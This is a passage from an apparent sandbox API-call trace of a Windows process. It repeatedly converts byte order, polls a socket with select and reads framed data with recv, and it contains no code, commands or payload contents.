(hostshort=0x0) returned 0x0 [0119.335] htons (hostshort=0x3393) returned 0x9333 [0119.335] htons (hostshort=0xf201) returned 0x1f2 [0119.335] htons (hostshort=0x0) returned 0x0 [0119.335] htons (hostshort=0x3393) returned 0x9333 [0119.335] htons (hostshort=0xf201) returned 0x1f2 [0119.335] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.335] htons (hostshort=0x0) returned 0x0 [0119.335] htons (hostshort=0x3393) returned 0x9333 [0119.335] htons (hostshort=0xf201) returned 0x1f2 [0119.336] htons (hostshort=0x0) returned 0x0 [0119.336] htons (hostshort=0x3393) returned 0x9333 [0119.336] htons (hostshort=0xf201) returned 0x1f2 [0119.336] htons (hostshort=0x0) returned 0x0 [0119.336] htons (hostshort=0x9333) returned 0x3393 [0119.336] htons (hostshort=0x1f2) returned 0xf201 [0119.336] htons (hostshort=0x0) returned 0x0 [0119.336] htons (hostshort=0x3393) returned 0x9333 [0119.336] htons (hostshort=0xf201) returned 0x1f2 [0119.336] htons (hostshort=0x0) returned 0x0 [0119.336] htons (hostshort=0x3393) returned 0x9333 [0119.336] htons (hostshort=0xf201) returned 0x1f2 [0119.336] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.336] htons (hostshort=0x0) returned 0x0 [0119.336] htons (hostshort=0x3393) returned 0x9333 [0119.336] htons (hostshort=0xf201) returned 0x1f2 [0119.336] htons (hostshort=0x0) returned 0x0 [0119.336] htons (hostshort=0x3393) returned 0x9333 [0119.336] htons (hostshort=0xf201) returned 0x1f2 [0119.336] htons (hostshort=0x0) returned 0x0 [0119.336] htons (hostshort=0x9333) returned 0x3393 [0119.336] htons (hostshort=0x1f2) returned 0xf201 [0119.336] htons (hostshort=0x0) returned 0x0 [0119.336] htons (hostshort=0x3393) returned 0x9333 [0119.336] htons (hostshort=0xf201) returned 0x1f2 [0119.336] htons (hostshort=0x0) returned 0x0 [0119.336] htons (hostshort=0x3393) returned 0x9333 [0119.336] htons (hostshort=0xf201) returned 0x1f2 [0119.336] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.336] htons (hostshort=0x0) returned 0x0 [0119.336] htons (hostshort=0x3393) returned 0x9333 [0119.336] htons (hostshort=0xf201) returned 0x1f2 [0119.337] htons (hostshort=0x0) returned 0x0 [0119.337] htons (hostshort=0x3393) returned 0x9333 [0119.337] htons (hostshort=0xf201) returned 0x1f2 [0119.337] htons (hostshort=0x0) returned 0x0 [0119.337] htons (hostshort=0x9333) returned 0x3393 [0119.337] htons (hostshort=0x1f2) returned 0xf201 [0119.337] htons (hostshort=0x0) returned 0x0 [0119.337] htons (hostshort=0x3393) returned 0x9333 [0119.337] htons (hostshort=0xf201) returned 0x1f2 [0119.337] htons (hostshort=0x0) returned 0x0 [0119.337] htons (hostshort=0x3393) returned 0x9333 [0119.337] htons (hostshort=0xf201) returned 0x1f2 [0119.337] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.337] htons (hostshort=0x0) returned 0x0 [0119.337] htons (hostshort=0x3393) returned 0x9333 [0119.337] htons (hostshort=0xf201) returned 0x1f2 [0119.337] htons (hostshort=0x0) returned 0x0 [0119.337] htons (hostshort=0x3393) returned 0x9333 [0119.337] htons (hostshort=0xf201) returned 0x1f2 [0119.337] htons (hostshort=0x0) returned 0x0 [0119.337] htons (hostshort=0x9333) returned 0x3393 [0119.337] htons (hostshort=0x1f2) returned 0xf201 [0119.337] htons (hostshort=0x0) returned 0x0 [0119.337] htons (hostshort=0x3393) returned 0x9333 [0119.337] htons (hostshort=0xf201) returned 0x1f2 [0119.337] htons (hostshort=0x0) returned 0x0 [0119.337] htons (hostshort=0x3393) returned 0x9333 [0119.337] htons (hostshort=0xf201) returned 0x1f2 [0119.337] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.337] rand () returned 5436 [0119.338] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3da55cb0, dwHighDateTime=0x1d31ac1)) [0119.338] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.338] GetCurrentThreadId () returned 0x918 [0119.338] WSASetLastError (iError=0) [0119.338] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.338] SetLastError (dwErrCode=0x0) [0119.338] WSASetLastError (iError=0) [0119.338] recv (in: s=0x1d4, buf=0x865668, len=280, flags=0 | out: buf=0x865668*) returned 280 [0119.338] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.338] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.338] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.338] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.338] htons (hostshort=0x0) returned 0x0 [0119.338] htons (hostshort=0x3393) returned 0x9333 [0119.338] htons (hostshort=0xf201) returned 0x1f2 [0119.338] htons (hostshort=0x0) returned 0x0 [0119.338] htons (hostshort=0x3393) returned 0x9333 [0119.338] htons (hostshort=0xf201) returned 0x1f2 [0119.338] htons (hostshort=0x0) returned 0x0 [0119.338] htons (hostshort=0x9333) returned 0x3393 [0119.338] htons (hostshort=0x1f2) returned 0xf201 [0119.338] htons (hostshort=0x0) returned 0x0 [0119.338] htons (hostshort=0x3393) returned 0x9333 [0119.338] htons (hostshort=0xf201) returned 0x1f2 [0119.338] htons (hostshort=0x0) returned 0x0 [0119.338] htons (hostshort=0x3393) returned 0x9333 [0119.338] htons (hostshort=0xf201) returned 0x1f2 [0119.338] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.338] rand () returned 32391 [0119.338] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3da55cb0, dwHighDateTime=0x1d31ac1)) [0119.339] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.339] GetCurrentThreadId () returned 0x918 [0119.339] WSASetLastError (iError=0) [0119.339] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.339] SetLastError (dwErrCode=0x0) [0119.339] WSASetLastError (iError=0) [0119.339] recv (in: s=0x1d4, buf=0x865668, len=3816, flags=0 | out: buf=0x865668*) returned 3816 [0119.339] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.339] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.339] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.339] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.339] htons (hostshort=0x0) returned 0x0 [0119.339] htons (hostshort=0x3393) returned 0x9333 [0119.339] htons (hostshort=0xc001) returned 0x1c0 [0119.339] htons (hostshort=0x0) returned 0x0 [0119.339] htons (hostshort=0x3393) returned 0x9333 [0119.339] htons (hostshort=0xc001) returned 0x1c0 [0119.339] htons (hostshort=0x0) returned 0x0 [0119.339] htons (hostshort=0x9333) returned 0x3393 [0119.339] htons (hostshort=0x1c0) returned 0xc001 [0119.339] htons (hostshort=0x0) returned 0x0 [0119.339] htons (hostshort=0x3393) returned 0x9333 [0119.339] htons (hostshort=0xc001) returned 0x1c0 [0119.339] htons (hostshort=0x0) returned 0x0 [0119.339] htons (hostshort=0x3393) returned 0x9333 [0119.339] htons (hostshort=0xc001) returned 0x1c0 [0119.339] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.339] htons (hostshort=0x0) returned 0x0 [0119.339] htons (hostshort=0x3393) returned 0x9333 [0119.339] htons (hostshort=0xf201) returned 0x1f2 [0119.340] htons (hostshort=0x0) returned 0x0 [0119.340] htons (hostshort=0x3393) returned 0x9333 [0119.340] htons (hostshort=0xf201) returned 0x1f2 [0119.340] htons (hostshort=0x0) returned 0x0 [0119.340] htons (hostshort=0x9333) returned 0x3393 [0119.340] htons (hostshort=0x1f2) returned 0xf201 [0119.340] htons (hostshort=0x0) returned 0x0 [0119.340] htons (hostshort=0x3393) returned 0x9333 [0119.340] htons (hostshort=0xf201) returned 0x1f2 [0119.340] htons (hostshort=0x0) returned 0x0 [0119.340] htons (hostshort=0x3393) returned 0x9333 [0119.340] htons (hostshort=0xf201) returned 0x1f2 [0119.340] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.340] htons (hostshort=0x0) returned 0x0 [0119.340] htons (hostshort=0x3393) returned 0x9333 [0119.340] htons (hostshort=0xf201) returned 0x1f2 [0119.340] htons (hostshort=0x0) returned 0x0 [0119.340] htons (hostshort=0x3393) returned 0x9333 [0119.340] htons (hostshort=0xf201) returned 0x1f2 [0119.340] htons (hostshort=0x0) returned 0x0 [0119.340] htons (hostshort=0x9333) returned 0x3393 [0119.340] htons (hostshort=0x1f2) returned 0xf201 [0119.340] htons (hostshort=0x0) returned 0x0 [0119.340] htons (hostshort=0x3393) returned 0x9333 [0119.340] htons (hostshort=0xf201) returned 0x1f2 [0119.340] htons (hostshort=0x0) returned 0x0 [0119.340] htons (hostshort=0x3393) returned 0x9333 [0119.340] htons (hostshort=0xf201) returned 0x1f2 [0119.340] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.340] htons (hostshort=0x0) returned 0x0 [0119.340] htons (hostshort=0x3393) returned 0x9333 [0119.340] htons (hostshort=0xf201) returned 0x1f2 [0119.340] htons (hostshort=0x0) returned 0x0 [0119.340] htons (hostshort=0x3393) returned 0x9333 [0119.340] htons (hostshort=0xf201) returned 0x1f2 [0119.340] htons (hostshort=0x0) returned 0x0 [0119.340] htons (hostshort=0x9333) returned 0x3393 [0119.340] htons (hostshort=0x1f2) returned 0xf201 [0119.340] htons (hostshort=0x0) returned 0x0 [0119.340] htons (hostshort=0x3393) returned 0x9333 [0119.340] htons (hostshort=0xf201) returned 0x1f2 [0119.340] htons (hostshort=0x0) returned 0x0 [0119.340] htons (hostshort=0x3393) returned 0x9333 [0119.340] htons (hostshort=0xf201) returned 0x1f2 [0119.340] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.340] htons (hostshort=0x0) returned 0x0 [0119.341] htons (hostshort=0x3393) returned 0x9333 [0119.341] htons (hostshort=0xf201) returned 0x1f2 [0119.341] htons (hostshort=0x0) returned 0x0 [0119.341] htons (hostshort=0x3393) returned 0x9333 [0119.341] htons (hostshort=0xf201) returned 0x1f2 [0119.341] htons (hostshort=0x0) returned 0x0 [0119.341] htons (hostshort=0x9333) returned 0x3393 [0119.341] htons (hostshort=0x1f2) returned 0xf201 [0119.341] htons (hostshort=0x0) returned 0x0 [0119.341] htons (hostshort=0x3393) returned 0x9333 [0119.341] htons (hostshort=0xf201) returned 0x1f2 [0119.341] htons (hostshort=0x0) returned 0x0 [0119.341] htons (hostshort=0x3393) returned 0x9333 [0119.341] htons (hostshort=0xf201) returned 0x1f2 [0119.341] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.341] htons (hostshort=0x0) returned 0x0 [0119.341] htons (hostshort=0x3393) returned 0x9333 [0119.341] htons (hostshort=0xf201) returned 0x1f2 [0119.341] htons (hostshort=0x0) returned 0x0 [0119.341] htons (hostshort=0x3393) returned 0x9333 [0119.341] htons (hostshort=0xf201) returned 0x1f2 [0119.341] htons (hostshort=0x0) returned 0x0 [0119.341] htons (hostshort=0x9333) returned 0x3393 [0119.341] htons (hostshort=0x1f2) returned 0xf201 [0119.341] htons (hostshort=0x0) returned 0x0 [0119.341] htons (hostshort=0x3393) returned 0x9333 [0119.341] htons (hostshort=0xf201) returned 0x1f2 [0119.341] htons (hostshort=0x0) returned 0x0 [0119.341] htons (hostshort=0x3393) returned 0x9333 [0119.341] htons (hostshort=0xf201) returned 0x1f2 [0119.341] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.341] htons (hostshort=0x0) returned 0x0 [0119.341] htons (hostshort=0x3393) returned 0x9333 [0119.341] htons (hostshort=0xf201) returned 0x1f2 [0119.341] htons (hostshort=0x0) returned 0x0 [0119.341] htons (hostshort=0x3393) returned 0x9333 [0119.341] htons (hostshort=0xf201) returned 0x1f2 [0119.341] htons (hostshort=0x0) returned 0x0 [0119.341] htons (hostshort=0x9333) returned 0x3393 [0119.341] htons (hostshort=0x1f2) returned 0xf201 [0119.341] htons (hostshort=0x0) returned 0x0 [0119.341] htons (hostshort=0x3393) returned 0x9333 [0119.341] htons (hostshort=0xf201) returned 0x1f2 [0119.341] htons (hostshort=0x0) returned 0x0 [0119.341] htons (hostshort=0x3393) returned 0x9333 [0119.341] htons (hostshort=0xf201) returned 0x1f2 [0119.341] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.342] rand () returned 14604 [0119.342] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3da55cb0, dwHighDateTime=0x1d31ac1)) [0119.342] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.342] GetCurrentThreadId () returned 0x918 [0119.342] WSASetLastError (iError=0) [0119.342] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.342] SetLastError (dwErrCode=0x0) [0119.342] WSASetLastError (iError=0) [0119.342] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.342] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.342] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.342] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.342] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.342] htons (hostshort=0x0) returned 0x0 [0119.342] htons (hostshort=0x3393) returned 0x9333 [0119.342] htons (hostshort=0xf201) returned 0x1f2 [0119.342] htons (hostshort=0x0) returned 0x0 [0119.342] htons (hostshort=0x3393) returned 0x9333 [0119.342] htons (hostshort=0xf201) returned 0x1f2 [0119.342] htons (hostshort=0x0) returned 0x0 [0119.342] htons (hostshort=0x9333) returned 0x3393 [0119.342] htons (hostshort=0x1f2) returned 0xf201 [0119.342] htons (hostshort=0x0) returned 0x0 [0119.342] htons (hostshort=0x3393) returned 0x9333 [0119.342] htons (hostshort=0xf201) returned 0x1f2 [0119.342] htons (hostshort=0x0) returned 0x0 [0119.342] htons (hostshort=0x3393) returned 0x9333 [0119.342] htons (hostshort=0xf201) returned 0x1f2 [0119.342] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.342] htons (hostshort=0x0) returned 0x0 [0119.342] htons (hostshort=0x3393) returned 0x9333 [0119.342] htons (hostshort=0xf201) returned 0x1f2 [0119.342] htons (hostshort=0x0) returned 0x0 [0119.342] htons (hostshort=0x3393) returned 0x9333 [0119.342] htons (hostshort=0xf201) returned 0x1f2 [0119.343] htons (hostshort=0x0) returned 0x0 [0119.343] htons (hostshort=0x9333) returned 0x3393 [0119.343] htons (hostshort=0x1f2) returned 0xf201 [0119.343] htons (hostshort=0x0) returned 0x0 [0119.343] htons (hostshort=0x3393) returned 0x9333 [0119.343] htons (hostshort=0xf201) returned 0x1f2 [0119.343] htons (hostshort=0x0) returned 0x0 [0119.343] htons (hostshort=0x3393) returned 0x9333 [0119.343] htons (hostshort=0xf201) returned 0x1f2 [0119.343] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.343] htons (hostshort=0x0) returned 0x0 [0119.343] htons (hostshort=0x3393) returned 0x9333 [0119.343] htons (hostshort=0xf201) returned 0x1f2 [0119.343] htons (hostshort=0x0) returned 0x0 [0119.343] htons (hostshort=0x3393) returned 0x9333 [0119.343] htons (hostshort=0xf201) returned 0x1f2 [0119.343] htons (hostshort=0x0) returned 0x0 [0119.343] htons (hostshort=0x9333) returned 0x3393 [0119.343] htons (hostshort=0x1f2) returned 0xf201 [0119.343] htons (hostshort=0x0) returned 0x0 [0119.343] htons (hostshort=0x3393) returned 0x9333 [0119.343] htons (hostshort=0xf201) returned 0x1f2 [0119.343] htons (hostshort=0x0) returned 0x0 [0119.343] htons (hostshort=0x3393) returned 0x9333 [0119.343] htons (hostshort=0xf201) returned 0x1f2 [0119.343] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.343] htons (hostshort=0x0) returned 0x0 [0119.343] htons (hostshort=0x3393) returned 0x9333 [0119.343] htons (hostshort=0xf201) returned 0x1f2 [0119.343] htons (hostshort=0x0) returned 0x0 [0119.343] htons (hostshort=0x3393) returned 0x9333 [0119.343] htons (hostshort=0xf201) returned 0x1f2 [0119.343] htons (hostshort=0x0) returned 0x0 [0119.343] htons (hostshort=0x9333) returned 0x3393 [0119.343] htons (hostshort=0x1f2) returned 0xf201 [0119.343] htons (hostshort=0x0) returned 0x0 [0119.343] htons (hostshort=0x3393) returned 0x9333 [0119.343] htons (hostshort=0xf201) returned 0x1f2 [0119.343] htons (hostshort=0x0) returned 0x0 [0119.343] htons (hostshort=0x3393) returned 0x9333 [0119.343] htons (hostshort=0xf201) returned 0x1f2 [0119.343] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.343] htons (hostshort=0x0) returned 0x0 [0119.343] htons (hostshort=0x3393) returned 0x9333 [0119.343] htons (hostshort=0xf201) returned 0x1f2 [0119.343] htons (hostshort=0x0) returned 0x0 [0119.344] htons (hostshort=0x3393) returned 0x9333 [0119.344] htons (hostshort=0xf201) returned 0x1f2 [0119.344] htons (hostshort=0x0) returned 0x0 [0119.344] htons (hostshort=0x9333) returned 0x3393 [0119.344] htons (hostshort=0x1f2) returned 0xf201 [0119.344] htons (hostshort=0x0) returned 0x0 [0119.344] htons (hostshort=0x3393) returned 0x9333 [0119.344] htons (hostshort=0xf201) returned 0x1f2 [0119.344] htons (hostshort=0x0) returned 0x0 [0119.344] htons (hostshort=0x3393) returned 0x9333 [0119.344] htons (hostshort=0xf201) returned 0x1f2 [0119.344] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.344] htons (hostshort=0x0) returned 0x0 [0119.344] htons (hostshort=0x3393) returned 0x9333 [0119.344] htons (hostshort=0xf201) returned 0x1f2 [0119.344] htons (hostshort=0x0) returned 0x0 [0119.344] htons (hostshort=0x3393) returned 0x9333 [0119.344] htons (hostshort=0xf201) returned 0x1f2 [0119.344] htons (hostshort=0x0) returned 0x0 [0119.344] htons (hostshort=0x9333) returned 0x3393 [0119.344] htons (hostshort=0x1f2) returned 0xf201 [0119.344] htons (hostshort=0x0) returned 0x0 [0119.344] htons (hostshort=0x3393) returned 0x9333 [0119.344] htons (hostshort=0xf201) returned 0x1f2 [0119.344] htons (hostshort=0x0) returned 0x0 [0119.344] htons (hostshort=0x3393) returned 0x9333 [0119.344] htons (hostshort=0xf201) returned 0x1f2 [0119.344] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.344] htons (hostshort=0x0) returned 0x0 [0119.344] htons (hostshort=0x3393) returned 0x9333 [0119.344] htons (hostshort=0xf201) returned 0x1f2 [0119.344] htons (hostshort=0x0) returned 0x0 [0119.344] htons (hostshort=0x3393) returned 0x9333 [0119.344] htons (hostshort=0xf201) returned 0x1f2 [0119.344] htons (hostshort=0x0) returned 0x0 [0119.344] htons (hostshort=0x9333) returned 0x3393 [0119.344] htons (hostshort=0x1f2) returned 0xf201 [0119.344] htons (hostshort=0x0) returned 0x0 [0119.344] htons (hostshort=0x3393) returned 0x9333 [0119.344] htons (hostshort=0xf201) returned 0x1f2 [0119.344] htons (hostshort=0x0) returned 0x0 [0119.344] htons (hostshort=0x3393) returned 0x9333 [0119.344] htons (hostshort=0xf201) returned 0x1f2 [0119.344] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.344] htons (hostshort=0x0) returned 0x0 [0119.344] htons (hostshort=0x3393) returned 0x9333 [0119.345] htons (hostshort=0xf201) returned 0x1f2 [0119.345] htons (hostshort=0x0) returned 0x0 [0119.345] htons (hostshort=0x3393) returned 0x9333 [0119.345] htons (hostshort=0xf201) returned 0x1f2 [0119.345] htons (hostshort=0x0) returned 0x0 [0119.345] htons (hostshort=0x9333) returned 0x3393 [0119.345] htons (hostshort=0x1f2) returned 0xf201 [0119.345] htons (hostshort=0x0) returned 0x0 [0119.345] htons (hostshort=0x3393) returned 0x9333 [0119.345] htons (hostshort=0xf201) returned 0x1f2 [0119.345] htons (hostshort=0x0) returned 0x0 [0119.345] htons (hostshort=0x3393) returned 0x9333 [0119.345] htons (hostshort=0xf201) returned 0x1f2 [0119.345] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.345] rand () returned 3902 [0119.345] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3da55cb0, dwHighDateTime=0x1d31ac1)) [0119.345] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.345] GetCurrentThreadId () returned 0x918 [0119.345] WSASetLastError (iError=0) [0119.345] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.345] SetLastError (dwErrCode=0x0) [0119.345] WSASetLastError (iError=0) [0119.345] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.345] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.345] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.345] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.345] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.345] htons (hostshort=0x0) returned 0x0 [0119.345] htons (hostshort=0x3393) returned 0x9333 [0119.345] htons (hostshort=0xf201) returned 0x1f2 [0119.345] htons (hostshort=0x0) returned 0x0 [0119.345] htons (hostshort=0x3393) returned 0x9333 [0119.345] htons (hostshort=0xf201) returned 0x1f2 [0119.345] htons (hostshort=0x0) returned 0x0 [0119.345] htons (hostshort=0x9333) returned 0x3393 [0119.345] htons (hostshort=0x1f2) returned 0xf201 [0119.345] htons (hostshort=0x0) returned 0x0 [0119.345] htons (hostshort=0x3393) returned 0x9333 [0119.345] htons (hostshort=0xf201) returned 0x1f2 [0119.345] htons (hostshort=0x0) returned 0x0 [0119.345] htons (hostshort=0x3393) returned 0x9333 [0119.345] htons (hostshort=0xf201) returned 0x1f2 [0119.346] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.346] htons (hostshort=0x0) returned 0x0 [0119.346] htons (hostshort=0x3393) returned 0x9333 [0119.346] htons (hostshort=0xf201) returned 0x1f2 [0119.346] htons (hostshort=0x0) returned 0x0 [0119.346] htons (hostshort=0x3393) returned 0x9333 [0119.346] htons (hostshort=0xf201) returned 0x1f2 [0119.346] htons (hostshort=0x0) returned 0x0 [0119.346] htons (hostshort=0x9333) returned 0x3393 [0119.346] htons (hostshort=0x1f2) returned 0xf201 [0119.346] htons (hostshort=0x0) returned 0x0 [0119.346] htons (hostshort=0x3393) returned 0x9333 [0119.346] htons (hostshort=0xf201) returned 0x1f2 [0119.346] htons (hostshort=0x0) returned 0x0 [0119.346] htons (hostshort=0x3393) returned 0x9333 [0119.346] htons (hostshort=0xf201) returned 0x1f2 [0119.346] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.346] htons (hostshort=0x0) returned 0x0 [0119.346] htons (hostshort=0x3393) returned 0x9333 [0119.346] htons (hostshort=0xf201) returned 0x1f2 [0119.346] htons (hostshort=0x0) returned 0x0 [0119.346] htons (hostshort=0x3393) returned 0x9333 [0119.346] htons (hostshort=0xf201) returned 0x1f2 [0119.346] htons (hostshort=0x0) returned 0x0 [0119.346] htons (hostshort=0x9333) returned 0x3393 [0119.346] htons (hostshort=0x1f2) returned 0xf201 [0119.346] htons (hostshort=0x0) returned 0x0 [0119.346] htons (hostshort=0x3393) returned 0x9333 [0119.346] htons (hostshort=0xf201) returned 0x1f2 [0119.346] htons (hostshort=0x0) returned 0x0 [0119.346] htons (hostshort=0x3393) returned 0x9333 [0119.346] htons (hostshort=0xf201) returned 0x1f2 [0119.346] htons (hostshort=0x0) returned 0x0 [0119.346] htons (hostshort=0x9333) returned 0x3393 [0119.346] htons (hostshort=0x0) returned 0x0 [0119.346] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b22 [0119.346] htons (hostshort=0x0) returned 0x0 [0119.346] htons (hostshort=0x3393) returned 0x9333 [0119.346] htons (hostshort=0x0) returned 0x0 [0119.346] htons (hostshort=0x0) returned 0x0 [0119.346] htons (hostshort=0x9333) returned 0x3393 [0119.346] htons (hostshort=0x0) returned 0x0 [0119.346] htonl (hostlong=0xa8fe7be7) returned 0xe77bfea8 [0119.346] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.346] htons (hostshort=0x0) returned 0x0 [0119.346] htons (hostshort=0x3393) returned 0x9333 [0119.347] htons (hostshort=0xf201) returned 0x1f2 [0119.347] htons (hostshort=0x0) returned 0x0 [0119.347] htons (hostshort=0x3393) returned 0x9333 [0119.347] htons (hostshort=0xf201) returned 0x1f2 [0119.347] htons (hostshort=0x0) returned 0x0 [0119.347] htons (hostshort=0x9333) returned 0x3393 [0119.347] htons (hostshort=0x1f2) returned 0xf201 [0119.347] htons (hostshort=0x0) returned 0x0 [0119.347] htons (hostshort=0x3393) returned 0x9333 [0119.347] htons (hostshort=0xf201) returned 0x1f2 [0119.347] htons (hostshort=0x0) returned 0x0 [0119.347] htons (hostshort=0x3393) returned 0x9333 [0119.347] htons (hostshort=0xf201) returned 0x1f2 [0119.347] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.347] htons (hostshort=0x0) returned 0x0 [0119.347] htons (hostshort=0x3393) returned 0x9333 [0119.347] htons (hostshort=0xf201) returned 0x1f2 [0119.347] htons (hostshort=0x0) returned 0x0 [0119.347] htons (hostshort=0x3393) returned 0x9333 [0119.347] htons (hostshort=0xf201) returned 0x1f2 [0119.347] htons (hostshort=0x0) returned 0x0 [0119.347] htons (hostshort=0x9333) returned 0x3393 [0119.347] htons (hostshort=0x1f2) returned 0xf201 [0119.347] htons (hostshort=0x0) returned 0x0 [0119.347] htons (hostshort=0x3393) returned 0x9333 [0119.347] htons (hostshort=0xf201) returned 0x1f2 [0119.347] htons (hostshort=0x0) returned 0x0 [0119.347] htons (hostshort=0x3393) returned 0x9333 [0119.347] htons (hostshort=0xf201) returned 0x1f2 [0119.347] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.347] htons (hostshort=0x0) returned 0x0 [0119.347] htons (hostshort=0x3393) returned 0x9333 [0119.347] htons (hostshort=0xf201) returned 0x1f2 [0119.347] htons (hostshort=0x0) returned 0x0 [0119.347] htons (hostshort=0x3393) returned 0x9333 [0119.347] htons (hostshort=0xf201) returned 0x1f2 [0119.347] htons (hostshort=0x0) returned 0x0 [0119.347] htons (hostshort=0x9333) returned 0x3393 [0119.347] htons (hostshort=0x1f2) returned 0xf201 [0119.347] htons (hostshort=0x0) returned 0x0 [0119.347] htons (hostshort=0x3393) returned 0x9333 [0119.347] htons (hostshort=0xf201) returned 0x1f2 [0119.347] htons (hostshort=0x0) returned 0x0 [0119.347] htons (hostshort=0x3393) returned 0x9333 [0119.347] htons (hostshort=0xf201) returned 0x1f2 [0119.348] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.348] htons (hostshort=0x0) returned 0x0 [0119.348] htons (hostshort=0x3393) returned 0x9333 [0119.348] htons (hostshort=0xf201) returned 0x1f2 [0119.348] htons (hostshort=0x0) returned 0x0 [0119.348] htons (hostshort=0x3393) returned 0x9333 [0119.348] htons (hostshort=0xf201) returned 0x1f2 [0119.348] htons (hostshort=0x0) returned 0x0 [0119.348] htons (hostshort=0x9333) returned 0x3393 [0119.348] htons (hostshort=0x1f2) returned 0xf201 [0119.348] htons (hostshort=0x0) returned 0x0 [0119.348] htons (hostshort=0x3393) returned 0x9333 [0119.348] htons (hostshort=0xf201) returned 0x1f2 [0119.348] htons (hostshort=0x0) returned 0x0 [0119.348] htons (hostshort=0x3393) returned 0x9333 [0119.348] htons (hostshort=0xf201) returned 0x1f2 [0119.348] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.348] htons (hostshort=0x0) returned 0x0 [0119.348] htons (hostshort=0x3393) returned 0x9333 [0119.348] htons (hostshort=0xf201) returned 0x1f2 [0119.348] htons (hostshort=0x0) returned 0x0 [0119.348] htons (hostshort=0x3393) returned 0x9333 [0119.348] htons (hostshort=0xf201) returned 0x1f2 [0119.348] htons (hostshort=0x0) returned 0x0 [0119.348] htons (hostshort=0x9333) returned 0x3393 [0119.348] htons (hostshort=0x1f2) returned 0xf201 [0119.348] htons (hostshort=0x0) returned 0x0 [0119.348] htons (hostshort=0x3393) returned 0x9333 [0119.348] htons (hostshort=0xf201) returned 0x1f2 [0119.348] htons (hostshort=0x0) returned 0x0 [0119.348] htons (hostshort=0x3393) returned 0x9333 [0119.348] htons (hostshort=0xf201) returned 0x1f2 [0119.348] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 2 [0119.348] rand () returned 153 [0119.348] rand () returned 292 [0119.348] GetSystemTimeAsFileTime 